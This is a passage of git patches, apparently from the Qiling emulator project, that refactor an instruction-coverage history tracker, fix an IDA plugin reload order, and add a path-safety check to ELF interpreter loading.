self.clear_hooks() def __hook_block(ql, address, size): - self.history.append(address) + #0x10 is way more than enough bytes to grab a single instruction + ins_bytes = ql.mem.read(address, 0x10) + try: + self.history.append(next(self.md.disasm(ins_bytes, address))) + except StopIteration: + #if this ever happens, then the unicorn/qiling is going to crash because it tried to execute an instruction that it cant, so we are just not going to do anything + pass self.history_hook_handle = self.ql.hook_block(__hook_block) @@ -49,20 +58,26 @@ def track_instruction_coverage(self) -> None: """ if self.history_hook_handle: self.clear_hooks() - + def __hook_block(ql, address, size): - self.history.append(address) + #0x10 is way more than enough bytes to grab a single instruction + ins_bytes = ql.mem.read(address, 0x10) + try: + self.history.append(next(self.md.disasm(ins_bytes, address))) + except StopIteration: + #if this ever happens, then the unicorn/qiling is going to crash because it tried to execute an instruction that it cant, so we are just not going to do anything + pass self.history_hook_handle = self.ql.hook_code(__hook_block) - def get_ins_only_lib(self, libs: List[str]) -> List[int]: + def get_ins_only_lib(self, libs: List[str]) -> List[CsInsn]: """Returns a list of addresses that have been executed that are only in mmaps for objects that match the regex of items in the list Args: libs (List[str]): A list of regex strings to match against the library names in the memory maps Returns: - List[int]: A list of addresses that have been executed and in the memory maps that match the regex + List[capstone.CsInsn]: A list of CsInsn that have been executed and are only in the memory maps that match the regex Examples: >>> history.get_ins_only_lib([".*libc.so.*", ".*libpthread.so.*"]) @@ -70,40 +85,30 @@ def get_ins_only_lib(self, libs: List[str]) -> List[int]: executable_maps = self.get_regex_matching_exec_maps(libs) - return [x for x in self.history if any([x >= start and x <= end for start, end, _, _, _ in executable_maps])] + return [x for x in self.history if any([x.address >= start and x.address <= end for start, end, _, _, _ in executable_maps])] - def get_ins_exclude_lib(self, libs: list) -> List: + def get_ins_exclude_lib(self, libs: List[str]) -> List[CsInsn]: '''Returns a list of history instructions that are not in the libraries that match the regex in the libs list Args: - libs (List): A list of regex strings to match against the library names in the memory maps + libs (List[str]): A list of regex strings to match against the library names in the memory maps Returns: - List: A list of addresses that have been executed and are not in the memory maps that match the regex + List[capstone.CsInsn]: A list of CsInsn that have been executed and are not in the memory maps that match the regex Examples: >>> history.get_ins_exclude_lib([".*libc.so.*", ".*libpthread.so.*"]) ''' executable_maps = self.get_regex_matching_exec_maps(libs) - instructions = [] - for h in self.history: - save = True - for start, end, _, _, _ in executable_maps: - if h >= start and h <= end: - save = False - break - - if save: - instructions.append(h) - return instructions + return [h for h in self.history if not any(start <= h.address <= end for start, end, _, _, _ in executable_maps)] - def get_mem_map_from_addr(self, ins: int) -> tuple: + def get_mem_map_from_addr(self, ins) -> tuple: '''Returns the memory map that contains the instruction Args: - ins (int): The instruction address to search for + ins: The instruction address to search for, can be either an int or a capstone.CsInsn Returns: tuple: A tuple that contains the memory map that contains the instruction @@ -113,6 +118,11 @@ def get_mem_map_from_addr(self, ins: int) -> tuple: >>> history.get_mem_map_from_addr(0x7ffff7dd1b97) ''' + if isinstance(ins, CsInsn): + ins = ins.address + + assert isinstance(ins, int) + #get the memory map that contains the instruction mem_map = [x for x in self.ql.mem.get_mapinfo() if x[0] <= ins and x[1] >= ins] @@ -122,13 +132,13 @@ def get_mem_map_from_addr(self, ins: int) -> tuple: # i sure hope theres not more than one map that contains the instruction lol return mem_map[0] - def get_regex_matching_exec_maps(self, libs: List) -> List: + def get_regex_matching_exec_maps(self, libs: List[str]) -> List: '''Returns a list of tuples for current mmaps whose names match the regex of libs in the list This is a wrapper around ql.mem.get_mapinfo() and just filters the results by the regex of the library names and also only returns maps that are executable Args: - libs (List): A list of regex strings to match against the library names in the memory maps + libs (List[str]): A list of regex strings to match against the library names in the memory maps Returns: List: A list of tuples that match the regex and are executable From 8fbbfb8707dc65e7c67451fd1bb451ff15b04e7a Mon Sep 17 00:00:00 2001 From: me Date: Mon, 6 Mar 2023 10:56:50 -0500 Subject: [PATCH 025/103] made more changes as per the comments in PR 1317 --- qiling/extensions/coverage/formats/history.py | 76 +++++++++---------- 1 file changed, 35 insertions(+), 41 deletions(-) diff --git a/qiling/extensions/coverage/formats/history.py b/qiling/extensions/coverage/formats/history.py index ae5200af8..991b9a882 100644 --- a/qiling/extensions/coverage/formats/history.py +++ b/qiling/extensions/coverage/formats/history.py @@ -1,19 +1,23 @@ -from typing import List -from qiling import Qiling -from qiling.core_hooks_types import HookRet +from typing import List, Tuple, TYPE_CHECKING + +if TYPE_CHECKING: + from qiling import Qiling + from qiling.core_hooks_types import HookRet + from capstone import Cs + import re -from capstone import CsInsn, Cs +from functools import partial +from capstone import CsInsn class History: - history_hook_handle: HookRet = None - history: List[CsInsn] = [] - ql: Qiling - md: Cs + history_hook_handle: 'HookRet' = None + history: 'List[CsInsn]' = [] + ql: 'Qiling' + md: 'Cs' - def __init__(self, ql: Qiling) -> None: + def __init__(self, ql: 'Qiling') -> None: self.ql = ql self.track_block_coverage() - self.md = ql.arch.disassembler def clear_history(self) -> None: """Clears the current state of the history @@ -30,6 +34,17 @@ def clear_hooks(self) -> None: self.ql.hook_del(self.history_hook_handle) + #a python function hook block to be used in both track_block_coverage and track_instruction_coverage + @staticmethod + def __hook_block(history_obj, ql, address, size): + #0x10 is way more than enough bytes to grab a single instruction + ins_bytes = ql.mem.read(address, 0x10) + try: + history_obj.history.append(next(ql.arch.disassembler.disasm(ins_bytes, address))) + except StopIteration: + #if this ever happens, then the unicorn/qiling is going to crash because it tried to execute an instruction that it cant, so we are just not going to do anything + pass + def track_block_coverage(self) -> None: """Configures the history plugin to track all of the basic blocks that are executed. Removes any existing hooks @@ -39,16 +54,9 @@ def track_block_coverage(self) -> None: if self.history_hook_handle: self.clear_hooks() - def __hook_block(ql, address, size): - #0x10 is way more than enough bytes to grab a single instruction - ins_bytes = ql.mem.read(address, 0x10) - try: - self.history.append(next(self.md.disasm(ins_bytes, address))) - except StopIteration: - #if this ever happens, then the unicorn/qiling is going to crash because it tried to execute an instruction that it cant, so we are just not going to do anything - pass + partial_hook_block = partial(self.__hook_block, self) - self.history_hook_handle = self.ql.hook_block(__hook_block) + self.history_hook_handle = self.ql.hook_block(partial_hook_block) def track_instruction_coverage(self) -> None: """Configures the history plugin to track all of the instructions that are executed. Removes any existing hooks @@ -59,18 +67,11 @@ def track_instruction_coverage(self) -> None: if self.history_hook_handle: self.clear_hooks() - def __hook_block(ql, address, size): - #0x10 is way more than enough bytes to grab a single instruction - ins_bytes = ql.mem.read(address, 0x10) - try: - self.history.append(next(self.md.disasm(ins_bytes, address))) - except StopIteration: - #if this ever happens, then the unicorn/qiling is going to crash because it tried to execute an instruction that it cant, so we are just not going to do anything - pass + partial_hook_block = partial(self.__hook_block, self) - self.history_hook_handle = self.ql.hook_code(__hook_block) + self.history_hook_handle = self.ql.hook_code(partial_hook_block) - def get_ins_only_lib(self, libs: List[str]) -> List[CsInsn]: + def get_ins_only_lib(self, libs: 'List[str]') -> 'List[CsInsn]': """Returns a list of addresses that have been executed that are only in mmaps for objects that match the regex of items in the list Args: @@ -85,9 +86,9 @@ def get_ins_only_lib(self, libs: List[str]) -> List[CsInsn]: executable_maps = self.get_regex_matching_exec_maps(libs) - return [x for x in self.history if any([x.address >= start and x.address <= end for start, end, _, _, _ in executable_maps])] + return [x for x in self.history if any(start <= x.address <= end for start, end, _, _, _ in executable_maps)] - def get_ins_exclude_lib(self, libs: List[str]) -> List[CsInsn]: + def get_ins_exclude_lib(self, libs: 'List[str]') -> 'List[CsInsn]': '''Returns a list of history instructions that are not in the libraries that match the regex in the libs list Args: @@ -123,22 +124,15 @@ def get_mem_map_from_addr(self, ins) -> tuple: assert isinstance(ins, int) - #get the memory map that contains the instruction - mem_map = [x for x in self.ql.mem.get_mapinfo() if x[0] <= ins and x[1] >= ins] + return next((x for x in self.ql.mem.get_mapinfo() if x[0] <= ins and x[1] >= ins), None) - if len(mem_map) == 0: - return None - - # i sure hope theres not more than one map that contains the instruction lol - return mem_map[0] - - def get_regex_matching_exec_maps(self, libs: List[str]) -> List: + def get_regex_matching_exec_maps(self, libs: 'List[str]') -> List: '''Returns a list of tuples for current mmaps whose names match the regex of libs in the list This is a wrapper around ql.mem.get_mapinfo() and just filters the results by the regex of the library names and also only returns maps that are executable Args: - libs (List[str]): A list of regex strings to match against the library names in the memory maps + libs (Union[str, Collection[str]]): A list of regex strings to match against the library names in the memory maps Returns: List: A list of tuples that match the regex and are executable From de4e38b153d666bdb5862b0e67caf0ff28ed64c4 Mon Sep 17 00:00:00 2001 From: me Date: Mon, 6 Mar 2023 17:24:37 -0500 Subject: [PATCH 026/103] added the __future__ annotations so i dont have to use quotes for the types, __hook_block is a class method now because it makes sense, --- qiling/extensions/coverage/formats/history.py | 34 ++++++++----------- 1 file changed, 15 insertions(+), 19 deletions(-) diff --git a/qiling/extensions/coverage/formats/history.py b/qiling/extensions/coverage/formats/history.py index 991b9a882..4df8c06b3 100644 --- a/qiling/extensions/coverage/formats/history.py +++ b/qiling/extensions/coverage/formats/history.py @@ -1,3 +1,4 @@ +from __future__ import annotations from typing import List, Tuple, TYPE_CHECKING if TYPE_CHECKING: @@ -10,12 +11,12 @@ from capstone import CsInsn class History: - history_hook_handle: 'HookRet' = None - history: 'List[CsInsn]' = [] - ql: 'Qiling' - md: 'Cs' + history_hook_handle: HookRet = None + history: List[CsInsn] = [] + ql: Qiling + md: Cs - def __init__(self, ql: 'Qiling') -> None: + def __init__(self, ql: Qiling) -> None: self.ql = ql self.track_block_coverage() @@ -23,7 +24,7 @@ def clear_history(self) -> None: """Clears the current state of the history """ - self.history = [] + self.history.clear() def clear_hooks(self) -> None: """Clears the current history hook from the Qiling instance @@ -35,12 +36,11 @@ def clear_hooks(self) -> None: self.ql.hook_del(self.history_hook_handle) #a python function hook block to be used in both track_block_coverage and track_instruction_coverage - @staticmethod - def __hook_block(history_obj, ql, address, size): + def __hook_block(self, ql, address, size): #0x10 is way more than enough bytes to grab a single instruction ins_bytes = ql.mem.read(address, 0x10) try: - history_obj.history.append(next(ql.arch.disassembler.disasm(ins_bytes, address))) + self.history.append(next(ql.arch.disassembler.disasm(ins_bytes, address))) except StopIteration: #if this ever happens, then the unicorn/qiling is going to crash because it tried to execute an instruction that it cant, so we are just not going to do anything pass @@ -54,9 +54,7 @@ def track_block_coverage(self) -> None: if self.history_hook_handle: self.clear_hooks() - partial_hook_block = partial(self.__hook_block, self) - - self.history_hook_handle = self.ql.hook_block(partial_hook_block) + self.history_hook_handle = self.ql.hook_block(self.__hook_block) def track_instruction_coverage(self) -> None: """Configures the history plugin to track all of the instructions that are executed. Removes any existing hooks @@ -67,11 +65,9 @@ def track_instruction_coverage(self) -> None: if self.history_hook_handle: self.clear_hooks() - partial_hook_block = partial(self.__hook_block, self) - - self.history_hook_handle = self.ql.hook_code(partial_hook_block) + self.history_hook_handle = self.ql.hook_code(self.__hook_block) - def get_ins_only_lib(self, libs: 'List[str]') -> 'List[CsInsn]': + def get_ins_only_lib(self, libs: List[str]) -> List[CsInsn]: """Returns a list of addresses that have been executed that are only in mmaps for objects that match the regex of items in the list Args: @@ -88,7 +84,7 @@ def get_ins_only_lib(self, libs: 'List[str]') -> 'List[CsInsn]': return [x for x in self.history if any(start <= x.address <= end for start, end, _, _, _ in executable_maps)] - def get_ins_exclude_lib(self, libs: 'List[str]') -> 'List[CsInsn]': + def get_ins_exclude_lib(self, libs: List[str]) -> List[CsInsn]: '''Returns a list of history instructions that are not in the libraries that match the regex in the libs list Args: @@ -105,7 +101,7 @@ def get_ins_exclude_lib(self, libs: 'List[str]') -> 'List[CsInsn]': return [h for h in self.history if not any(start <= h.address <= end for start, end, _, _, _ in executable_maps)] - def get_mem_map_from_addr(self, ins) -> tuple: + def get_mem_map_from_addr(self, ins) -> Tuple: '''Returns the memory map that contains the instruction Args: @@ -126,7 +122,7 @@ def get_mem_map_from_addr(self, ins) -> tuple: return next((x for x in self.ql.mem.get_mapinfo() if x[0] <= ins and x[1] >= ins), None) - def get_regex_matching_exec_maps(self, libs: 'List[str]') -> List: + def get_regex_matching_exec_maps(self, libs: List[str]) -> List: '''Returns a list of tuples for current mmaps whose names match the regex of libs in the list This is a wrapper around ql.mem.get_mapinfo() and just filters the results by the regex of the library names and also only returns maps that are executable From 29529898e3a8922ea5cc7792c6176fd81ba73093 Mon Sep 17 00:00:00 2001 From: me Date: Mon, 6 Mar 2023 18:12:05 -0500 Subject: [PATCH 027/103] added some more type annotations, added a new callback specifically for dealing with arm arch, and not accessing the ql.arch.disassember directly anymore --- qiling/extensions/coverage/formats/history.py | 53 ++++++++++++++++--- 1 file changed, 45 insertions(+), 8 deletions(-) diff --git a/qiling/extensions/coverage/formats/history.py b/qiling/extensions/coverage/formats/history.py index 4df8c06b3..bef38f1e5 100644 --- a/qiling/extensions/coverage/formats/history.py +++ b/qiling/extensions/coverage/formats/history.py @@ -1,5 +1,5 @@ from __future__ import annotations -from typing import List, Tuple, TYPE_CHECKING +from typing import List, Tuple, TYPE_CHECKING, Union if TYPE_CHECKING: from qiling import Qiling @@ -9,15 +9,19 @@ import re from functools import partial from capstone import CsInsn +from qiling.const import QL_ARCH class History: history_hook_handle: HookRet = None history: List[CsInsn] = [] ql: Qiling md: Cs + arm_is_thumb: bool def __init__(self, ql: Qiling) -> None: self.ql = ql + self.md = self.ql.arch.disassembler + self.arm_is_thumb = getattr(ql.arch, 'is_thumb', False) self.track_block_coverage() def clear_history(self) -> None: @@ -36,11 +40,36 @@ def clear_hooks(self) -> None: self.ql.hook_del(self.history_hook_handle) #a python function hook block to be used in both track_block_coverage and track_instruction_coverage - def __hook_block(self, ql, address, size): + def __hook_block(self, ql: Qiling, address: int, size: int): + ''' + The unicorn block/instruction hook function for the track_block_coverage and track_instruction_coverage functions. This just give us a way to append capstone objects to the history list + + NOTE: this is not supposed to be used in arm architecture, use __hook_block_arm instead (if you use this, things are going to be hella slow) + ''' + #0x10 is way more than enough bytes to grab a single instruction + ins_bytes = ql.mem.read(address, 0x10) + try: + self.history.append(next(self.md.disasm(ins_bytes, address))) + except StopIteration: + #if this ever happens, then the unicorn/qiling is going to crash because it tried to execute an instruction that it cant, so we are just not going to do anything + pass + + # in arm we have to worry about thumb mode, so we have our own hook function + def __hook_block_arm(self, ql: Qiling, address: int, size: int): + ''' + The unicorn block/instruction hook function for the track_block_coverage and track_instruction_coverage functions. This just give us a way to append capstone objects to the history list + ''' + + #get the current state of the thumb mode + if self.arm_is_thumb != ql.arch.is_thumb: + #the thumb mode has changed, so we need to update the disassembler + self.arm_is_thumb = ql.arch.is_thumb + self.md = self.ql.arch.disassembler + #0x10 is way more than enough bytes to grab a single instruction ins_bytes = ql.mem.read(address, 0x10) try: - self.history.append(next(ql.arch.disassembler.disasm(ins_bytes, address))) + self.history.append(next(self.md.disasm(ins_bytes, address))) except StopIteration: #if this ever happens, then the unicorn/qiling is going to crash because it tried to execute an instruction that it cant, so we are just not going to do anything pass @@ -53,8 +82,12 @@ def track_block_coverage(self) -> None: """ if self.history_hook_handle: self.clear_hooks() - - self.history_hook_handle = self.ql.hook_block(self.__hook_block) + + hook = self.__hook_block + if self.ql.arch.type == QL_ARCH.ARM: + hook = self.__hook_block_arm + + self.history_hook_handle = self.ql.hook_block(hook) def track_instruction_coverage(self) -> None: """Configures the history plugin to track all of the instructions that are executed. Removes any existing hooks @@ -65,7 +98,11 @@ def track_instruction_coverage(self) -> None: if self.history_hook_handle: self.clear_hooks() - self.history_hook_handle = self.ql.hook_code(self.__hook_block) + hook = self.__hook_block + if self.ql.arch.type == QL_ARCH.ARM: + hook = self.__hook_block_arm + + self.history_hook_handle = self.ql.hook_code(hook) def get_ins_only_lib(self, libs: List[str]) -> List[CsInsn]: """Returns a list of addresses that have been executed that are only in mmaps for objects that match the regex of items in the list @@ -101,11 +138,11 @@ def get_ins_exclude_lib(self, libs: List[str]) -> List[CsInsn]: return [h for h in self.history if not any(start <= h.address <= end for start, end, _, _, _ in executable_maps)] - def get_mem_map_from_addr(self, ins) -> Tuple: + def get_mem_map_from_addr(self, ins: Union[int, CsInsn]) -> Tuple: '''Returns the memory map that contains the instruction Args: - ins: The instruction address to search for, can be either an int or a capstone.CsInsn + ins (Union[int, CsInsn]): The instruction address to search for, can be either an int or a capstone.CsInsn Returns: tuple: A tuple that contains the memory map that contains the instruction From 2a78192c028436b54adbc2d933ac5bc857d6aeea Mon Sep 17 00:00:00 2001 From: me Date: Mon, 6 Mar 2023 19:05:19 -0500 Subject: [PATCH 028/103] cleaned up some pylint stuff, consolidated the arm and other arch block callback --- qiling/extensions/coverage/formats/history.py | 77 +++++++------------ 1 file changed, 26 insertions(+), 51 deletions(-) diff --git a/qiling/extensions/coverage/formats/history.py b/qiling/extensions/coverage/formats/history.py index bef38f1e5..cd1731da2 100644 --- a/qiling/extensions/coverage/formats/history.py +++ b/qiling/extensions/coverage/formats/history.py @@ -1,5 +1,5 @@ from __future__ import annotations -from typing import List, Tuple, TYPE_CHECKING, Union +from typing import List, Tuple, TYPE_CHECKING, Union, Optional, Any if TYPE_CHECKING: from qiling import Qiling @@ -7,12 +7,11 @@ from capstone import Cs import re -from functools import partial from capstone import CsInsn -from qiling.const import QL_ARCH + class History: - history_hook_handle: HookRet = None + history_hook_handle: HookRet history: List[CsInsn] = [] ql: Qiling md: Cs @@ -39,39 +38,25 @@ def clear_hooks(self) -> None: self.ql.hook_del(self.history_hook_handle) - #a python function hook block to be used in both track_block_coverage and track_instruction_coverage - def __hook_block(self, ql: Qiling, address: int, size: int): + def __hook_block(self, ql: Qiling, address: int, size: int, *context: Any) -> Any: ''' The unicorn block/instruction hook function for the track_block_coverage and track_instruction_coverage functions. This just give us a way to append capstone objects to the history list - - NOTE: this is not supposed to be used in arm architecture, use __hook_block_arm instead (if you use this, things are going to be hella slow) ''' - #0x10 is way more than enough bytes to grab a single instruction - ins_bytes = ql.mem.read(address, 0x10) - try: - self.history.append(next(self.md.disasm(ins_bytes, address))) - except StopIteration: - #if this ever happens, then the unicorn/qiling is going to crash because it tried to execute an instruction that it cant, so we are just not going to do anything - pass - # in arm we have to worry about thumb mode, so we have our own hook function - def __hook_block_arm(self, ql: Qiling, address: int, size: int): - ''' - The unicorn block/instruction hook function for the track_block_coverage and track_instruction_coverage functions. This just give us a way to append capstone objects to the history list - ''' - - #get the current state of the thumb mode - if self.arm_is_thumb != ql.arch.is_thumb: - #the thumb mode has changed, so we need to update the disassembler - self.arm_is_thumb = ql.arch.is_thumb + # get the current state of the thumb mode + + if self.arm_is_thumb is not getattr(ql.arch, "is_thumb", False): + # the thumb mode has changed, so we need to update the disassembler + self.arm_is_thumb = not self.arm_is_thumb self.md = self.ql.arch.disassembler - #0x10 is way more than enough bytes to grab a single instruction + # 0x10 is way more than enough bytes to grab a single instruction ins_bytes = ql.mem.read(address, 0x10) - try: + try: self.history.append(next(self.md.disasm(ins_bytes, address))) - except StopIteration: - #if this ever happens, then the unicorn/qiling is going to crash because it tried to execute an instruction that it cant, so we are just not going to do anything + except StopIteration: + # if this ever happens, then the unicorn/qiling is going to crash because it tried to execute + # an instruction that it cant, so we are just not going to do anything pass def track_block_coverage(self) -> None: @@ -80,14 +65,10 @@ def track_block_coverage(self) -> None: Returns: None """ - if self.history_hook_handle: + if getattr(self, 'history_hook_handle', None): self.clear_hooks() - hook = self.__hook_block - if self.ql.arch.type == QL_ARCH.ARM: - hook = self.__hook_block_arm - - self.history_hook_handle = self.ql.hook_block(hook) + self.history_hook_handle = self.ql.hook_block(self.__hook_block) def track_instruction_coverage(self) -> None: """Configures the history plugin to track all of the instructions that are executed. Removes any existing hooks @@ -95,14 +76,10 @@ def track_instruction_coverage(self) -> None: Returns: None """ - if self.history_hook_handle: + if getattr(self, 'history_hook_handle', None): self.clear_hooks() - hook = self.__hook_block - if self.ql.arch.type == QL_ARCH.ARM: - hook = self.__hook_block_arm - - self.history_hook_handle = self.ql.hook_code(hook) + self.history_hook_handle = self.ql.hook_code(self.__hook_block) def get_ins_only_lib(self, libs: List[str]) -> List[CsInsn]: """Returns a list of addresses that have been executed that are only in mmaps for objects that match the regex of items in the list @@ -137,15 +114,14 @@ def get_ins_exclude_lib(self, libs: List[str]) -> List[CsInsn]: executable_maps = self.get_regex_matching_exec_maps(libs) return [h for h in self.history if not any(start <= h.address <= end for start, end, _, _, _ in executable_maps)] - - def get_mem_map_from_addr(self, ins: Union[int, CsInsn]) -> Tuple: + def get_mem_map_from_addr(self, ins: Union[int, CsInsn]) -> Optional[Tuple]: '''Returns the memory map that contains the instruction Args: ins (Union[int, CsInsn]): The instruction address to search for, can be either an int or a capstone.CsInsn Returns: - tuple: A tuple that contains the memory map that contains the instruction + Optional[Tuple]: A tuple that contains the memory map that contains the instruction this tuple is in the format of (start_addr, end_addr, perms, name, path) Examples: @@ -159,16 +135,17 @@ def get_mem_map_from_addr(self, ins: Union[int, CsInsn]) -> Tuple: return next((x for x in self.ql.mem.get_mapinfo() if x[0] <= ins and x[1] >= ins), None) - def get_regex_matching_exec_maps(self, libs: List[str]) -> List: + def get_regex_matching_exec_maps(self, libs: List[str]) -> List[Tuple]: '''Returns a list of tuples for current mmaps whose names match the regex of libs in the list - This is a wrapper around ql.mem.get_mapinfo() and just filters the results by the regex of the library names and also only returns maps that are executable + This is a wrapper around ql.mem.get_mapinfo() and just filters the results by the regex of the library names + and also only returns maps that are executable Args: libs (Union[str, Collection[str]]): A list of regex strings to match against the library names in the memory maps Returns: - List: A list of tuples that match the regex and are executable + List[Tuple]: A list of tuples that match the regex and are executable Examples: >>> history.get_regex_matching_exec_maps([".*libc.so.*", ".*libpthread.so.*"]) @@ -184,9 +161,7 @@ def get_regex_matching_exec_maps(self, libs: List[str]) -> List: # filter the list of tuples # so that we return only the ones where the library name matches the regex - regex_matching_libs = [x for x in self.ql.mem.get_mapinfo() if any([r.match(x[3]) for r in regex])] + regex_matching_libs = [x for x in self.ql.mem.get_mapinfo() if any(r.match(x[3]) for r in regex)] # filter viable_libs for items that have the executable bit set - executable_maps = [x for x in regex_matching_libs if 'x' in x[2]] - - return executable_maps \ No newline at end of file + return [x for x in regex_matching_libs if 'x' in x[2]] From 254d982c44fe774251f61a32b375997789e11243 Mon Sep 17 00:00:00 2001 From: me Date: Mon, 6 Mar 2023 19:17:32 -0500 Subject: [PATCH 029/103] commenting on why we have this arm handler in the __hook_block --- qiling/extensions/coverage/formats/history.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/qiling/extensions/coverage/formats/history.py b/qiling/extensions/coverage/formats/history.py index cd1731da2..2afc1960f 100644 --- a/qiling/extensions/coverage/formats/history.py +++ b/qiling/extensions/coverage/formats/history.py @@ -43,8 +43,9 @@ def __hook_block(self, ql: Qiling, address: int, size: int, *context: Any) -> An The unicorn block/instruction hook function for the track_block_coverage and track_instruction_coverage functions. This just give us a way to append capstone objects to the history list ''' - # get the current state of the thumb mode - + # get the current state of the thumb mode, only applys to arm + # originally we were going to access the ql.arch.disassembler directly for all architectures from in this callback, but in the + # implementation for arch.arm.disassembler, the capstone instance is recreated every time (to make sure THUMB mode is properly dealt with) if self.arm_is_thumb is not getattr(ql.arch, "is_thumb", False): # the thumb mode has changed, so we need to update the disassembler self.arm_is_thumb = not self.arm_is_thumb From 4c9e6b5ea3d8a3df0bcd5c69b847c8991cb3f179 Mon Sep 17 00:00:00 2001 From: me Date: Mon, 6 Mar 2023 19:24:40 -0500 Subject: [PATCH 030/103] removing "*context" argument from history tracker callback --- qiling/extensions/coverage/formats/history.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/qiling/extensions/coverage/formats/history.py b/qiling/extensions/coverage/formats/history.py index 2afc1960f..b0415b41b 100644 --- a/qiling/extensions/coverage/formats/history.py +++ b/qiling/extensions/coverage/formats/history.py @@ -38,7 +38,7 @@ def clear_hooks(self) -> None: self.ql.hook_del(self.history_hook_handle) - def __hook_block(self, ql: Qiling, address: int, size: int, *context: Any) -> Any: + def __hook_block(self, ql: Qiling, address: int, size: int) -> Any: ''' The unicorn block/instruction hook function for the track_block_coverage and track_instruction_coverage functions. This just give us a way to append capstone objects to the history list ''' From 489c3b6a21653c1fe6a1e2111a4a0d6cbebb2c42 Mon Sep 17 00:00:00 2001 From: DiamondHunters <872482123@qq.com> Date: Fri, 17 Mar 2023 21:23:05 +0800 Subject: [PATCH 031/103] Delete plugin object before reloading custom_script Legacy objects are automatically destructed after the creation of new objects. It caused `__init__` of new version script called before calling `__del__` of old one. This means that you cannot unregister old things before new module loading. So we delete legacy object explicitly at there to ensure the correct call order. Signed-off-by: DiamondHunters <872482123@qq.com> --- qiling/extensions/idaplugin/qilingida.py | 1 + 1 file changed, 1 insertion(+) diff --git a/qiling/extensions/idaplugin/qilingida.py b/qiling/extensions/idaplugin/qilingida.py index 95857dd7b..fedf456d1 100644 --- a/qiling/extensions/idaplugin/qilingida.py +++ b/qiling/extensions/idaplugin/qilingida.py @@ -2026,6 +2026,7 @@ def get_user_scripts_obj(scriptpath:str, classname:str, is_reload:bool): module = importlib.import_module(scriptname) if is_reload: + del self.userobj importlib.reload(module) cls = getattr(module, classname) return cls() From c006864fd5faf7060c22c5ec1e4f541376006f3e Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 10 Mar 2023 11:57:53 +0200 Subject: [PATCH 032/103] Remove unnecessary property elf_emu_start --- qiling/extensions/idaplugin/qilingida.py | 2 +- qiling/loader/elf.py | 1 - qiling/os/freebsd/freebsd.py | 1 - qiling/os/linux/linux.py | 1 - qiling/os/qnx/qnx.py | 1 - 5 files changed, 1 insertion(+), 5 deletions(-) diff --git a/qiling/extensions/idaplugin/qilingida.py b/qiling/extensions/idaplugin/qilingida.py index 2d68a258a..f3524ec94 100644 --- a/qiling/extensions/idaplugin/qilingida.py +++ b/qiling/extensions/idaplugin/qilingida.py @@ -899,7 +899,7 @@ def start(self, *args, **kwargs): elffile = ELFFile(f) elf_header = elffile.header if elf_header['e_type'] == 'ET_EXEC': - self.baseaddr = self.ql.os.elf_mem_start + self.baseaddr = self.ql.loader.images[0].base elif elf_header['e_type'] == 'ET_DYN': if self.ql.arch.bits == 32: self.baseaddr = int(self.ql.os.profile.get("OS32", "load_address"), 16) diff --git a/qiling/loader/elf.py b/qiling/loader/elf.py index 5b44ef570..639a32a12 100644 --- a/qiling/loader/elf.py +++ b/qiling/loader/elf.py @@ -353,7 +353,6 @@ def __push_str(top: int, s: str) -> int: self.init_sp = self.ql.arch.regs.arch_sp self.ql.os.entry_point = self.entry_point = entry_point - self.ql.os.elf_mem_start = mem_start self.ql.os.elf_entry = self.elf_entry self.ql.os.function_hook = FunctionHook(self.ql, elf_phdr, elf_phnum, elf_phent, load_address, mem_end) diff --git a/qiling/os/freebsd/freebsd.py b/qiling/os/freebsd/freebsd.py index e0218d4da..b578198ae 100644 --- a/qiling/os/freebsd/freebsd.py +++ b/qiling/os/freebsd/freebsd.py @@ -16,7 +16,6 @@ class QlOsFreebsd(QlOsPosix): def __init__(self, ql): super(QlOsFreebsd, self).__init__(ql) - self.elf_mem_start = 0x0 self.load() diff --git a/qiling/os/linux/linux.py b/qiling/os/linux/linux.py index 959cf5ab5..d10bb9033 100644 --- a/qiling/os/linux/linux.py +++ b/qiling/os/linux/linux.py @@ -48,7 +48,6 @@ def __init__(self, ql: Qiling): self.futexm = None self.fh = None self.function_after_load_list = [] - self.elf_mem_start = 0x0 self.load() def load(self): diff --git a/qiling/os/qnx/qnx.py b/qiling/os/qnx/qnx.py index 9f79f1d95..1d6172dd1 100644 --- a/qiling/os/qnx/qnx.py +++ b/qiling/os/qnx/qnx.py @@ -45,7 +45,6 @@ def __init__(self, ql: Qiling): self.futexm = None self.fh = None self.function_after_load_list = [] - self.elf_mem_start = 0x0 self.load() # use counters to get free Ids From 28e1f3323da5a10beab807c92e080f57a3f38640 Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 10 Mar 2023 12:07:49 +0200 Subject: [PATCH 033/103] Fix unsafe ELF interpreter loading --- qiling/loader/elf.py | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/qiling/loader/elf.py b/qiling/loader/elf.py index 639a32a12..f3df83b99 100644 --- a/qiling/loader/elf.py +++ b/qiling/loader/elf.py @@ -230,10 +230,15 @@ def load_elf_segments(elffile: ELFFile, load_address: int, info: str): # load the interpreter, if there is one if interp_path: - interp_local_path = os.path.normpath(self.ql.rootfs + interp_path) - self.ql.log.debug(f'Interpreter path: {interp_local_path}') + interp_vpath = self.ql.os.path.virtual_abspath(interp_path) + interp_hpath = self.ql.os.path.virtual_to_host_path(interp_path) - with open(interp_local_path, 'rb') as infile: + self.ql.log.debug(f'Interpreter path: {interp_vpath}') + + if not self.ql.os.path.is_safe_host_path(interp_hpath): + raise PermissionError(f'unsafe path: {interp_hpath}') + + with open(interp_hpath, 'rb') as infile: interp = ELFFile(infile) min_vaddr = min(seg['p_vaddr'] for seg in interp.iter_segments(type='PT_LOAD')) @@ -244,10 +249,10 @@ def load_elf_segments(elffile: ELFFile, load_address: int, info: str): self.ql.log.debug(f'Interpreter addr: {interp_address:#x}') # load interpreter segments data to memory - interp_start, interp_end = load_elf_segments(interp, interp_address, interp_local_path) + interp_start, interp_end = load_elf_segments(interp, interp_address, interp_vpath) # add interpreter to the loaded images list - self.images.append(Image(interp_start, interp_end, os.path.abspath(interp_local_path))) + self.images.append(Image(interp_start, interp_end, interp_hpath)) # determine entry point entry_point = interp_address + interp['e_entry'] From f6200acda4548cff22ba4e3fe70b2ea4058481af Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 10 Mar 2023 12:47:29 +0200 Subject: [PATCH 034/103] Fix wrapper decoration --- qiling/core_hooks.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/qiling/core_hooks.py 